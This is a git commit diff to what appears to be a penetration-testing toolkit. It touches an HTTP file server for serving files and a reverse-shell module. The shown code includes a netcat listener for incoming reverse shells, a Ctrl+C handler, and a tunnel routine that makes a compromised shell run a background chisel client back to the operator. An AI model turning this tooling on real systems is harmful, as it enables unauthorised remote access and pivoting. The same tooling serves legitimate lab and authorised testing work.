file server fix, added ctrl+c handler for rev shells

This commit is contained in:
Roman Hergenreder 2023-12-19 13:48:18 +01:00
parent e4132c3468
commit 8c42a9065a
2 changed files with 38 additions and 11 deletions

@ -101,7 +101,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
if path in self.server.dumpRequests: if path in self.server.dumpRequests:
headers["Access-Control-Allow-Origin"] = "*" headers["Access-Control-Allow-Origin"] = "*"
headers["Content-Length"] = len(data) headers["Content-Length"] = len(util.nvl(data, b""))
if len(headers) == 0: if len(headers) == 0:
self.send_response(status_code) self.send_response(status_code)
@ -162,7 +162,10 @@ class HttpFileServer(HTTPServer):
return path.strip() return path.strip()
def addFile(self, name, data, mimeType=None): def addFile(self, name, data, mime_type=None):
assert isinstance(name, str)
assert data is not None
if hasattr(data, "read"): if hasattr(data, "read"):
fd = data fd = data
@ -176,8 +179,8 @@ class HttpFileServer(HTTPServer):
"Access-Control-Allow-Origin": "*", "Access-Control-Allow-Origin": "*",
} }
if mimeType: if mime_type:
headers["Content-Type"] = mimeType headers["Content-Type"] = mime_type
# return 200 - OK and data # return 200 - OK and data
self.addRoute(name, lambda req: (200, data, headers)) self.addRoute(name, lambda req: (200, data, headers))

@ -14,7 +14,7 @@ import paramiko
import base64 import base64
import select import select
import argparse import argparse
import signal
try: try:
import SocketServer import SocketServer
@ -35,6 +35,7 @@ class ShellListener:
self.features = set() self.features = set()
self.shell_ready = False self.shell_ready = False
self.os = None # we need a way to find the OS here self.os = None # we need a way to find the OS here
self.raw_output = b""
def startBackground(self): def startBackground(self):
self.listen_thread = threading.Thread(target=self.start) self.listen_thread = threading.Thread(target=self.start)
@ -95,6 +96,8 @@ class ShellListener:
self.shell_ready = True self.shell_ready = True
if self.verbose: if self.verbose:
print("RECV first prompt") print("RECV first prompt")
else:
self.raw_output += data
print("[-] Disconnected") print("[-] Disconnected")
self.connection = None self.connection = None
@ -285,7 +288,6 @@ class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
daemon_threads = True daemon_threads = True
allow_reuse_address = True allow_reuse_address = True
class ParamikoTunnel: class ParamikoTunnel:
def __init__(self, shell, ports): def __init__(self, shell, ports):
self.shell = shell self.shell = shell
@ -426,7 +428,22 @@ def generate_payload(payload_type, local_address, port, index=None, **kwargs):
return payload return payload
def spawn_listener(port): def spawn_listener(port):
pty.spawn(["nc", "-lvvp", str(port)]) signal.signal(signal.SIGINT, on_ctrl_c)
orig_stdin = os.dup(0)
pid, fd = pty.fork()
if pid == 0:
os.dup2(orig_stdin, 0)
x = os.execvp("nc", ["nc", "-lvvp", str(port)])
else:
try:
while True:
data = os.read(fd, 1024)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.flush()
except OSError as e:
print("[!] OSError:", str(e))
def wait_for_connection(listener, timeout=None, prompt=True): def wait_for_connection(listener, timeout=None, prompt=True):
start = time.time() start = time.time()
@ -494,13 +511,20 @@ def create_tunnel(shell, ports: list):
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &") shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
return t return t
elif isinstance(shell, paramiko.SSHClient): elif isinstance(shell, paramiko.SSHClient):
paramiko_tunnel = ParamikoTunnel(shell, ports) paramiko_tunnel = ParamikoTunnel(shell, ports)
paramiko_tunnel.start_background() paramiko_tunnel.start_background()
return paramiko_tunnel return paramiko_tunnel
# TODO: https://github.com/paramiko/paramiko/blob/88f35a537428e430f7f26eee8026715e357b55d6/demos/forward.py#L103 def on_ctrl_c(*args):
pass global ctrl_c_pressed
now = time.time()
last_pressed = globals().get("ctrl_c_pressed", None)
if not last_pressed or (now - last_pressed) > 1.5:
print("[!] CTRL-C pressed. Press again if you really want to interrupt")
else:
sys.exit(0)
ctrl_c_pressed = now
if __name__ == "__main__": if __name__ == "__main__":
@ -544,4 +568,4 @@ if __name__ == "__main__":
print("xhost +targetip") print("xhost +targetip")
print("Xnest :1") print("Xnest :1")
else: else:
pty.spawn(["nc", "-lvvp", str(listen_port)]) spawn_listener(listen_port)